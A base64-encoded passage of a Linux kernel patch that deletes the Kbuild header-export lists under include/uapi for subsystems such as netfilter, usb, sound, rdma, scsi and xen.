bW9kZSAxMDA2NDQKaW5kZXggODllNTI4NTBiZjI5Li4wMDAwMDAwMDAwMDAKLS0tIGEvaW5jbHVk
ZS91YXBpL2xpbnV4L2lzZG4vS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsMiArMCwwIEBACi0j
IFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBjYXBpY21kLmgKZGlmZiAtLWdp
dCBhL2luY2x1ZGUvdWFwaS9saW51eC9tbWMvS2J1aWxkIGIvaW5jbHVkZS91YXBpL2xpbnV4L21t
Yy9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDhjMWQyY2I3NWUzMy4uMDAw
MDAwMDAwMDAwCi0tLSBhL2luY2x1ZGUvdWFwaS9saW51eC9tbWMvS2J1aWxkCisrKyAvZGV2L251
bGwKQEAgLTEsMiArMCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSAr
PSBpb2N0bC5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyL0tidWls
ZCBiL2luY2x1ZGUvdWFwaS9saW51eC9uZXRmaWx0ZXIvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2Rl
IDEwMDY0NAppbmRleCAwM2YxOTRhZWFkYzUuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3Vh
cGkvbGludXgvbmV0ZmlsdGVyL0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDg5ICswLDAgQEAK
LSMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IGlwc2V0LwotaGVhZGVyLXkg
Kz0gbmZfY29ubnRyYWNrX2NvbW1vbi5oCi1oZWFkZXIteSArPSBuZl9jb25udHJhY2tfZnRwLmgK
LWhlYWRlci15ICs9IG5mX2Nvbm50cmFja19zY3RwLmgKLWhlYWRlci15ICs9IG5mX2Nvbm50cmFj
a190Y3AuaAotaGVhZGVyLXkgKz0gbmZfY29ubnRyYWNrX3R1cGxlX2NvbW1vbi5oCi1oZWFkZXIt
eSArPSBuZl9sb2cuaAotaGVhZGVyLXkgKz0gbmZfdGFibGVzLmgKLWhlYWRlci15ICs9IG5mX3Rh
Ymxlc19jb21wYXQuaAotaGVhZGVyLXkgKz0gbmZfbmF0LmgKLWhlYWRlci15ICs9IG5mbmV0bGlu
ay5oCi1oZWFkZXIteSArPSBuZm5ldGxpbmtfYWNjdC5oCi1oZWFkZXIteSArPSBuZm5ldGxpbmtf
Y29tcGF0LmgKLWhlYWRlci15ICs9IG5mbmV0bGlua19jb25udHJhY2suaAotaGVhZGVyLXkgKz0g
bmZuZXRsaW5rX2N0aGVscGVyLmgKLWhlYWRlci15ICs9IG5mbmV0bGlua19jdHRpbWVvdXQuaAot
aGVhZGVyLXkgKz0gbmZuZXRsaW5rX2xvZy5oCi1oZWFkZXIteSArPSBuZm5ldGxpbmtfcXVldWUu
aAotaGVhZGVyLXkgKz0geF90YWJsZXMuaAotaGVhZGVyLXkgKz0geHRfQVVESVQuaAotaGVhZGVy
LXkgKz0geHRfQ0hFQ0tTVU0uaAotaGVhZGVyLXkgKz0geHRfQ0xBU1NJRlkuaAotaGVhZGVyLXkg
Kz0geHRfQ09OTk1BUksuaAotaGVhZGVyLXkgKz0geHRfQ09OTlNFQ01BUksuaAotaGVhZGVyLXkg
Kz0geHRfQ1QuaAotaGVhZGVyLXkgKz0geHRfRFNDUC5oCi1oZWFkZXIteSArPSB4dF9ITUFSSy5o
Ci1oZWFkZXIteSArPSB4dF9JRExFVElNRVIuaAotaGVhZGVyLXkgKz0geHRfTEVELmgKLWhlYWRl
ci15ICs9IHh0X0xPRy5oCi1oZWFkZXIteSArPSB4dF9NQVJLLmgKLWhlYWRlci15ICs9IHh0X05G
TE9HLmgKLWhlYWRlci15ICs9IHh0X05GUVVFVUUuaAotaGVhZGVyLXkgKz0geHRfUkFURUVTVC5o
Ci1oZWFkZXIteSArPSB4dF9TRUNNQVJLLmgKLWhlYWRlci15ICs9IHh0X1NZTlBST1hZLmgKLWhl
YWRlci15ICs9IHh0X1RDUE1TUy5oCi1oZWFkZXIteSArPSB4dF9UQ1BPUFRTVFJJUC5oCi1oZWFk
ZXIteSArPSB4dF9URUUuaAotaGVhZGVyLXkgKz0geHRfVFBST1hZLmgKLWhlYWRlci15ICs9IHh0
X2FkZHJ0eXBlLmgKLWhlYWRlci15ICs9IHh0X2JwZi5oCi1oZWFkZXIteSArPSB4dF9jZ3JvdXAu
aAotaGVhZGVyLXkgKz0geHRfY2x1c3Rlci5oCi1oZWFkZXIteSArPSB4dF9jb21tZW50LmgKLWhl
YWRlci15ICs9IHh0X2Nvbm5ieXRlcy5oCi1oZWFkZXIteSArPSB4dF9jb25ubGFiZWwuaAotaGVh
ZGVyLXkgKz0geHRfY29ubmxpbWl0LmgKLWhlYWRlci15ICs9IHh0X2Nvbm5tYXJrLmgKLWhlYWRl
ci15ICs9IHh0X2Nvbm50cmFjay5oCi1oZWFkZXIteSArPSB4dF9jcHUuaAotaGVhZGVyLXkgKz0g
eHRfZGNjcC5oCi1oZWFkZXIteSArPSB4dF9kZXZncm91cC5oCi1oZWFkZXIteSArPSB4dF9kc2Nw
LmgKLWhlYWRlci15ICs9IHh0X2Vjbi5oCi1oZWFkZXIteSArPSB4dF9lc3AuaAotaGVhZGVyLXkg
Kz0geHRfaGFzaGxpbWl0LmgKLWhlYWRlci15ICs9IHh0X2hlbHBlci5oCi1oZWFkZXIteSArPSB4
dF9pcGNvbXAuaAotaGVhZGVyLXkgKz0geHRfaXByYW5nZS5oCi1oZWFkZXIteSArPSB4dF9pcHZz
LmgKLWhlYWRlci15ICs9IHh0X2wydHAuaAotaGVhZGVyLXkgKz0geHRfbGVuZ3RoLmgKLWhlYWRl
ci15ICs9IHh0X2xpbWl0LmgKLWhlYWRlci15ICs9IHh0X21hYy5oCi1oZWFkZXIteSArPSB4dF9t
YXJrLmgKLWhlYWRlci15ICs9IHh0X211bHRpcG9ydC5oCi1oZWFkZXIteSArPSB4dF9uZmFjY3Qu
aAotaGVhZGVyLXkgKz0geHRfb3NmLmgKLWhlYWRlci15ICs9IHh0X293bmVyLmgKLWhlYWRlci15
ICs9IHh0X3BoeXNkZXYuaAotaGVhZGVyLXkgKz0geHRfcGt0dHlwZS5oCi1oZWFkZXIteSArPSB4
dF9wb2xpY3kuaAotaGVhZGVyLXkgKz0geHRfcXVvdGEuaAotaGVhZGVyLXkgKz0geHRfcmF0ZWVz
dC5oCi1oZWFkZXIteSArPSB4dF9yZWFsbS5oCi1oZWFkZXIteSArPSB4dF9yZWNlbnQuaAotaGVh
ZGVyLXkgKz0geHRfcnBmaWx0ZXIuaAotaGVhZGVyLXkgKz0geHRfc2N0cC5oCi1oZWFkZXIteSAr
PSB4dF9zZXQuaAotaGVhZGVyLXkgKz0geHRfc29ja2V0LmgKLWhlYWRlci15ICs9IHh0X3N0YXRl
LmgKLWhlYWRlci15ICs9IHh0X3N0YXRpc3RpYy5oCi1oZWFkZXIteSArPSB4dF9zdHJpbmcuaAot
aGVhZGVyLXkgKz0geHRfdGNwbXNzLmgKLWhlYWRlci15ICs9IHh0X3RjcHVkcC5oCi1oZWFkZXIt
eSArPSB4dF90aW1lLmgKLWhlYWRlci15ICs9IHh0X3UzMi5oCmRpZmYgLS1naXQgYS9pbmNsdWRl
L3VhcGkvbGludXgvbmV0ZmlsdGVyL2lwc2V0L0tidWlsZCBiL2luY2x1ZGUvdWFwaS9saW51eC9u
ZXRmaWx0ZXIvaXBzZXQvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCBkMjY4
MDQyM2Q5YWIuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVy
L2lwc2V0L0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDUgKzAsMCBAQAotIyBVQVBJIEhlYWRl
ciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gaXBfc2V0LmgKLWhlYWRlci15ICs9IGlwX3NldF9i
aXRtYXAuaAotaGVhZGVyLXkgKz0gaXBfc2V0X2hhc2guaAotaGVhZGVyLXkgKz0gaXBfc2V0X2xp
c3QuaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBpL2xpbnV4L25ldGZpbHRlcl9hcnAvS2J1aWxk
IGIvaW5jbHVkZS91YXBpL2xpbnV4L25ldGZpbHRlcl9hcnAvS2J1aWxkCmRlbGV0ZWQgZmlsZSBt
b2RlIDEwMDY0NAppbmRleCA2MmQ1NjM3Y2MwYWMuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRl
L3VhcGkvbGludXgvbmV0ZmlsdGVyX2FycC9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSwzICsw
LDAgQEAKLSMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IGFycF90YWJsZXMu
aAotaGVhZGVyLXkgKz0gYXJwdF9tYW5nbGUuaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBpL2xp
bnV4L25ldGZpbHRlcl9icmlkZ2UvS2J1aWxkIGIvaW5jbHVkZS91YXBpL2xpbnV4L25ldGZpbHRl
cl9icmlkZ2UvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwZmJhZDhlZjk2
ZGUuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2JyaWRn
ZS9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSwxOCArMCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4
cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBlYnRfODAyXzMuaAotaGVhZGVyLXkgKz0gZWJ0X2Ftb25n
LmgKLWhlYWRlci15ICs9IGVidF9hcnAuaAotaGVhZGVyLXkgKz0gZWJ0X2FycHJlcGx5LmgKLWhl
YWRlci15ICs9IGVidF9pcC5oCi1oZWFkZXIteSArPSBlYnRfaXA2LmgKLWhlYWRlci15ICs9IGVi
dF9saW1pdC5oCi1oZWFkZXIteSArPSBlYnRfbG9nLmgKLWhlYWRlci15ICs9IGVidF9tYXJrX20u
aAotaGVhZGVyLXkgKz0gZWJ0X21hcmtfdC5oCi1oZWFkZXIteSArPSBlYnRfbmF0LmgKLWhlYWRl
ci15ICs9IGVidF9uZmxvZy5oCi1oZWFkZXIteSArPSBlYnRfcGt0dHlwZS5oCi1oZWFkZXIteSAr
PSBlYnRfcmVkaXJlY3QuaAotaGVhZGVyLXkgKz0gZWJ0X3N0cC5oCi1oZWFkZXIteSArPSBlYnRf
dmxhbi5oCi1oZWFkZXIteSArPSBlYnRhYmxlcy5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkv
bGludXgvbmV0ZmlsdGVyX2lwdjQvS2J1aWxkIGIvaW5jbHVkZS91YXBpL2xpbnV4L25ldGZpbHRl
cl9pcHY0L0tidWlsZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggZWNiMjkxZGYzOTBl
Li4wMDAwMDAwMDAwMDAKLS0tIGEvaW5jbHVkZS91YXBpL2xpbnV4L25ldGZpbHRlcl9pcHY0L0ti
dWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDEwICswLDAgQEAKLSMgVUFQSSBIZWFkZXIgZXhwb3J0
IGxpc3QKLWhlYWRlci15ICs9IGlwX3RhYmxlcy5oCi1oZWFkZXIteSArPSBpcHRfQ0xVU1RFUklQ
LmgKLWhlYWRlci15ICs9IGlwdF9FQ04uaAotaGVhZGVyLXkgKz0gaXB0X0xPRy5oCi1oZWFkZXIt
eSArPSBpcHRfUkVKRUNULmgKLWhlYWRlci15ICs9IGlwdF9UVEwuaAotaGVhZGVyLXkgKz0gaXB0
X2FoLmgKLWhlYWRlci15ICs9IGlwdF9lY24uaAotaGVhZGVyLXkgKz0gaXB0X3R0bC5oCmRpZmYg
LS1naXQgYS9pbmNsdWRlL3VhcGkvbGludXgvbmV0ZmlsdGVyX2lwdjYvS2J1aWxkIGIvaW5jbHVk
ZS91YXBpL2xpbnV4L25ldGZpbHRlcl9pcHY2L0tidWlsZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2
NDQKaW5kZXggNzVhNjY4Y2EyMzUzLi4wMDAwMDAwMDAwMDAKLS0tIGEvaW5jbHVkZS91YXBpL2xp
bnV4L25ldGZpbHRlcl9pcHY2L0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDEzICswLDAgQEAK
LSMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IGlwNl90YWJsZXMuaAotaGVh
ZGVyLXkgKz0gaXA2dF9ITC5oCi1oZWFkZXIteSArPSBpcDZ0X0xPRy5oCi1oZWFkZXIteSArPSBp
cDZ0X05QVC5oCi1oZWFkZXIteSArPSBpcDZ0X1JFSkVDVC5oCi1oZWFkZXIteSArPSBpcDZ0X2Fo
LmgKLWhlYWRlci15ICs9IGlwNnRfZnJhZy5oCi1oZWFkZXIteSArPSBpcDZ0X2hsLmgKLWhlYWRl
ci15ICs9IGlwNnRfaXB2NmhlYWRlci5oCi1oZWFkZXIteSArPSBpcDZ0X21oLmgKLWhlYWRlci15
ICs9IGlwNnRfb3B0cy5oCi1oZWFkZXIteSArPSBpcDZ0X3J0LmgKZGlmZiAtLWdpdCBhL2luY2x1
ZGUvdWFwaS9saW51eC9uZnNkL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9saW51eC9uZnNkL0tidWls
ZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggYzExYmM0MDQwNTNjLi4wMDAwMDAwMDAw
MDAKLS0tIGEvaW5jbHVkZS91YXBpL2xpbnV4L25mc2QvS2J1aWxkCisrKyAvZGV2L251bGwKQEAg
LTEsNiArMCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBjbGQu
aAotaGVhZGVyLXkgKz0gZGVidWcuaAotaGVhZGVyLXkgKz0gZXhwb3J0LmgKLWhlYWRlci15ICs9
IG5mc2ZoLmgKLWhlYWRlci15ICs9IHN0YXRzLmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUvdWFwaS9s
aW51eC9yYWlkL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9saW51eC9yYWlkL0tidWlsZApkZWxldGVk
IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggZTJjM2QyNTQwNWQ3Li4wMDAwMDAwMDAwMDAKLS0tIGEv
aW5jbHVkZS91YXBpL2xpbnV4L3JhaWQvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsMyArMCww
IEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBtZF9wLmgKLWhlYWRl
ci15ICs9IG1kX3UuaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBpL2xpbnV4L3NwaS9LYnVpbGQg
Yi9pbmNsdWRlL3VhcGkvbGludXgvc3BpL0tidWlsZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQK
aW5kZXggMGNjNzQ3ZWZmMTY1Li4wMDAwMDAwMDAwMDAKLS0tIGEvaW5jbHVkZS91YXBpL2xpbnV4
L3NwaS9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSwyICswLDAgQEAKLSMgVUFQSSBIZWFkZXIg
ZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IHNwaWRldi5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3Vh
cGkvbGludXgvc3VucnBjL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9saW51eC9zdW5ycGMvS2J1aWxk
CmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCA4ZTAyZTQ3YzIwZmIuLjAwMDAwMDAwMDAw
MAotLS0gYS9pbmNsdWRlL3VhcGkvbGludXgvc3VucnBjL0tidWlsZAorKysgL2Rldi9udWxsCkBA
IC0xLDIgKzAsMCBAQAotIyBVQVBJIEhlYWRlciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gZGVi
dWcuaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBpL2xpbnV4L3RjX2FjdC9LYnVpbGQgYi9pbmNs
dWRlL3VhcGkvbGludXgvdGNfYWN0L0tidWlsZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQKaW5k
ZXggZTNkYjc0MDMyOTZmLi4wMDAwMDAwMDAwMDAKLS0tIGEvaW5jbHVkZS91YXBpL2xpbnV4L3Rj
X2FjdC9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSwxNSArMCwwIEBACi0jIFVBUEkgSGVhZGVy
IGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSB0Y19jc3VtLmgKLWhlYWRlci15ICs9IHRjX2RlZmFj
dC5oCi1oZWFkZXIteSArPSB0Y19nYWN0LmgKLWhlYWRlci15ICs9IHRjX2lwdC5oCi1oZWFkZXIt
eSArPSB0Y19taXJyZWQuaAotaGVhZGVyLXkgKz0gdGNfbmF0LmgKLWhlYWRlci15ICs9IHRjX3Bl
ZGl0LmgKLWhlYWRlci15ICs9IHRjX3NrYmVkaXQuaAotaGVhZGVyLXkgKz0gdGNfdmxhbi5oCi1o
ZWFkZXIteSArPSB0Y19icGYuaAotaGVhZGVyLXkgKz0gdGNfY29ubm1hcmsuaAotaGVhZGVyLXkg
Kz0gdGNfaWZlLmgKLWhlYWRlci15ICs9IHRjX3R1bm5lbF9rZXkuaAotaGVhZGVyLXkgKz0gdGNf
c2tibW9kLmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUvdWFwaS9saW51eC90Y19lbWF0Y2gvS2J1aWxk
IGIvaW5jbHVkZS91YXBpL2xpbnV4L3RjX2VtYXRjaC9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUg
MTAwNjQ0CmluZGV4IDUzZmNhMzkyNTUzNS4uMDAwMDAwMDAwMDAwCi0tLSBhL2luY2x1ZGUvdWFw
aS9saW51eC90Y19lbWF0Y2gvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsNSArMCwwIEBACi0j
IFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSB0Y19lbV9jbXAuaAotaGVhZGVy
LXkgKz0gdGNfZW1fbWV0YS5oCi1oZWFkZXIteSArPSB0Y19lbV9uYnl0ZS5oCi1oZWFkZXIteSAr
PSB0Y19lbV90ZXh0LmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUvdWFwaS9saW51eC91c2IvS2J1aWxk
IGIvaW5jbHVkZS91YXBpL2xpbnV4L3VzYi9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0
CmluZGV4IDRjYzRkNmU3ZTUyMy4uMDAwMDAwMDAwMDAwCi0tLSBhL2luY2x1ZGUvdWFwaS9saW51
eC91c2IvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsMTIgKzAsMCBAQAotIyBVQVBJIEhlYWRl
ciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gYXVkaW8uaAotaGVhZGVyLXkgKz0gY2RjLmgKLWhl
YWRlci15ICs9IGNkYy13ZG0uaAotaGVhZGVyLXkgKz0gY2gxMS5oCi1oZWFkZXIteSArPSBjaDku
aAotaGVhZGVyLXkgKz0gZnVuY3Rpb25mcy5oCi1oZWFkZXIteSArPSBnX3ByaW50ZXIuaAotaGVh
ZGVyLXkgKz0gZ2FkZ2V0ZnMuaAotaGVhZGVyLXkgKz0gbWlkaS5oCi1oZWFkZXIteSArPSB0bWMu
aAotaGVhZGVyLXkgKz0gdmlkZW8uaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBpL2xpbnV4L3dp
bWF4L0tidWlsZCBiL2luY2x1ZGUvdWFwaS9saW51eC93aW1heC9LYnVpbGQKZGVsZXRlZCBmaWxl
IG1vZGUgMTAwNjQ0CmluZGV4IDFjOTdiZTQ5OTcxZi4uMDAwMDAwMDAwMDAwCi0tLSBhL2luY2x1
ZGUvdWFwaS9saW51eC93aW1heC9LYnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSwyICswLDAgQEAK
LSMgVUFQSSBIZWFkZXIgZXhwb3J0IGxpc3QKLWhlYWRlci15ICs9IGkyNDAwbS5oCmRpZmYgLS1n
aXQgYS9pbmNsdWRlL3VhcGkvbWlzYy9LYnVpbGQgYi9pbmNsdWRlL3VhcGkvbWlzYy9LYnVpbGQK
ZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IGU5NmNhZTdkNThjOS4uMDAwMDAwMDAwMDAw
Ci0tLSBhL2luY2x1ZGUvdWFwaS9taXNjL0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDIgKzAs
MCBAQAotIyBtaXNjIEhlYWRlciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gY3hsLmgKZGlmZiAt
LWdpdCBhL2luY2x1ZGUvdWFwaS9tdGQvS2J1aWxkIGIvaW5jbHVkZS91YXBpL210ZC9LYnVpbGQK
ZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDVhNjkxZTEwY2QwZS4uMDAwMDAwMDAwMDAw
Ci0tLSBhL2luY2x1ZGUvdWFwaS9tdGQvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsNiArMCww
IEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBpbmZ0bC11c2VyLmgK
LWhlYWRlci15ICs9IG10ZC1hYmkuaAotaGVhZGVyLXkgKz0gbXRkLXVzZXIuaAotaGVhZGVyLXkg
Kz0gbmZ0bC11c2VyLmgKLWhlYWRlci15ICs9IHViaS11c2VyLmgKZGlmZiAtLWdpdCBhL2luY2x1
ZGUvdWFwaS9yZG1hL0tidWlsZCBiL2luY2x1ZGUvdWFwaS9yZG1hL0tidWlsZApkZWxldGVkIGZp
bGUgbW9kZSAxMDA2NDQKaW5kZXggODJiZGY1NjI2ODU5Li4wMDAwMDAwMDAwMDAKLS0tIGEvaW5j
bHVkZS91YXBpL3JkbWEvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsMTggKzAsMCBAQAotIyBV
QVBJIEhlYWRlciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gaWJfdXNlcl9jbS5oCi1oZWFkZXIt
eSArPSBpYl91c2VyX21hZC5oCi1oZWFkZXIteSArPSBpYl91c2VyX3NhLmgKLWhlYWRlci15ICs9
IGliX3VzZXJfdmVyYnMuaAotaGVhZGVyLXkgKz0gcmRtYV9uZXRsaW5rLmgKLWhlYWRlci15ICs9
IHJkbWFfdXNlcl9jbS5oCi1oZWFkZXIteSArPSBoZmkvCi1oZWFkZXIteSArPSByZG1hX3VzZXJf
cnhlLmgKLWhlYWRlci15ICs9IGN4Z2IzLWFiaS5oCi1oZWFkZXIteSArPSBjeGdiNC1hYmkuaAot
aGVhZGVyLXkgKz0gbWx4NC1hYmkuaAotaGVhZGVyLXkgKz0gbWx4NS1hYmkuaAotaGVhZGVyLXkg
Kz0gbXRoY2EtYWJpLmgKLWhlYWRlci15ICs9IG5lcy1hYmkuaAotaGVhZGVyLXkgKz0gb2NyZG1h
LWFiaS5oCi1oZWFkZXIteSArPSBobnMtYWJpLmgKLWhlYWRlci15ICs9IHZtd19wdnJkbWEtYWJp
LmgKZGlmZiAtLWdpdCBhL2luY2x1ZGUvdWFwaS9yZG1hL2hmaS9LYnVpbGQgYi9pbmNsdWRlL3Vh
cGkvcmRtYS9oZmkvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCBlZjIzYzI5
NGZjNzEuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvcmRtYS9oZmkvS2J1aWxkCisr
KyAvZGV2L251bGwKQEAgLTEsMiArMCwwIEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1o
ZWFkZXIteSArPSBoZmkxX3VzZXIuaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS91YXBpL3Njc2kvS2J1
aWxkIGIvaW5jbHVkZS91YXBpL3Njc2kvS2J1aWxkCmRlbGV0ZWQgZmlsZSBtb2RlIDEwMDY0NApp
bmRleCBkNzkxZTBhZDUwOWQuLjAwMDAwMDAwMDAwMAotLS0gYS9pbmNsdWRlL3VhcGkvc2NzaS9L
YnVpbGQKKysrIC9kZXYvbnVsbApAQCAtMSw2ICswLDAgQEAKLSMgVUFQSSBIZWFkZXIgZXhwb3J0
IGxpc3QKLWhlYWRlci15ICs9IGZjLwotaGVhZGVyLXkgKz0gc2NzaV9ic2dfZmMuaAotaGVhZGVy
LXkgKz0gc2NzaV9uZXRsaW5rLmgKLWhlYWRlci15ICs9IHNjc2lfbmV0bGlua19mYy5oCi1oZWFk
ZXIteSArPSBjeGxmbGFzaF9pb2N0bC5oCmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvc2NzaS9m
Yy9LYnVpbGQgYi9pbmNsdWRlL3VhcGkvc2NzaS9mYy9LYnVpbGQKZGVsZXRlZCBmaWxlIG1vZGUg
MTAwNjQ0CmluZGV4IDVlYWQ5ZmFjMjY1Yy4uMDAwMDAwMDAwMDAwCi0tLSBhL2luY2x1ZGUvdWFw
aS9zY3NpL2ZjL0tidWlsZAorKysgL2Rldi9udWxsCkBAIC0xLDUgKzAsMCBAQAotIyBVQVBJIEhl
YWRlciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gZmNfZWxzLmgKLWhlYWRlci15ICs9IGZjX2Zz
LmgKLWhlYWRlci15ICs9IGZjX2dzLmgKLWhlYWRlci15ICs9IGZjX25zLmgKZGlmZiAtLWdpdCBh
L2luY2x1ZGUvdWFwaS9zb3VuZC9LYnVpbGQgYi9pbmNsdWRlL3VhcGkvc291bmQvS2J1aWxkCmRl
bGV0ZWQgZmlsZSBtb2RlIDEwMDY0NAppbmRleCA5NTc4ZDhiZGJmMzEuLjAwMDAwMDAwMDAwMAot
LS0gYS9pbmNsdWRlL3VhcGkvc291bmQvS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsMTYgKzAs
MCBAQAotIyBVQVBJIEhlYWRlciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0gYXNlcXVlbmNlci5o
Ci1oZWFkZXIteSArPSBhc29jLmgKLWhlYWRlci15ICs9IGFzb3VuZC5oCi1oZWFkZXIteSArPSBh
c291bmRfZm0uaAotaGVhZGVyLXkgKz0gY29tcHJlc3Nfb2ZmbG9hZC5oCi1oZWFkZXIteSArPSBj
b21wcmVzc19wYXJhbXMuaAotaGVhZGVyLXkgKz0gZW11MTBrMS5oCi1oZWFkZXIteSArPSBmaXJl
d2lyZS5oCi1oZWFkZXIteSArPSBoZHNwLmgKLWhlYWRlci15ICs9IGhkc3BtLmgKLWhlYWRlci15
ICs9IHNiMTZfY3NwLmgKLWhlYWRlci15ICs9IHNmbnRfaW5mby5oCi1oZWFkZXIteSArPSB0bHYu
aAotaGVhZGVyLXkgKz0gdXNiX3N0cmVhbS5oCi1oZWFkZXIteSArPSBzbmRfc3N0X3Rva2Vucy5o
CmRpZmYgLS1naXQgYS9pbmNsdWRlL3VhcGkvdmlkZW8vS2J1aWxkIGIvaW5jbHVkZS91YXBpL3Zp
ZGVvL0tidWlsZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggYWM3MjAzYmIzMmNjLi4w
MDAwMDAwMDAwMDAKLS0tIGEvaW5jbHVkZS91YXBpL3ZpZGVvL0tidWlsZAorKysgL2Rldi9udWxs
CkBAIC0xLDQgKzAsMCBAQAotIyBVQVBJIEhlYWRlciBleHBvcnQgbGlzdAotaGVhZGVyLXkgKz0g
ZWRpZC5oCi1oZWFkZXIteSArPSBzaXNmYi5oCi1oZWFkZXIteSArPSB1dmVzYWZiLmgKZGlmZiAt
LWdpdCBhL2luY2x1ZGUvdWFwaS94ZW4vS2J1aWxkIGIvaW5jbHVkZS91YXBpL3hlbi9LYnVpbGQK
ZGVsZXRlZCBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4IDVjNDU5NjI4ZThjNy4uMDAwMDAwMDAwMDAw
Ci0tLSBhL2luY2x1ZGUvdWFwaS94ZW4vS2J1aWxkCisrKyAvZGV2L251bGwKQEAgLTEsNSArMCww
IEBACi0jIFVBUEkgSGVhZGVyIGV4cG9ydCBsaXN0Ci1oZWFkZXIteSArPSBldnRjaG4uaAotaGVh
ZGVyLXkgKz0gZ250YWxsb2MuaAotaGVhZGVyLXkgKz0gZ250ZGV2LmgKLWhlYWRlci15ICs9IHBy
aXZjbWQuaApkaWZmIC0tZ2l0IGEvaW5jbHVkZS92aWRlby9LYnVpbGQgYi9pbmNsdWRlL3ZpZGVv
L0tidWlsZApkZWxldGVkIGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggZTY5ZGUyOWJiMmQxLi4wMDAw
MDAwMDAwMDAKZGlmZiAtLWdpdCBhL3NjcmlwdHMvTWFrZWZpbGUuaGVhZGVyc2luc3QgYi9zY3Jp
cHRzL01ha2VmaWxlLmhlYWRlcnNpbnN0CmluZGV4IDg3NmI0MmNmZWRlNC4uYmI5M2Y4NDY2YTM1
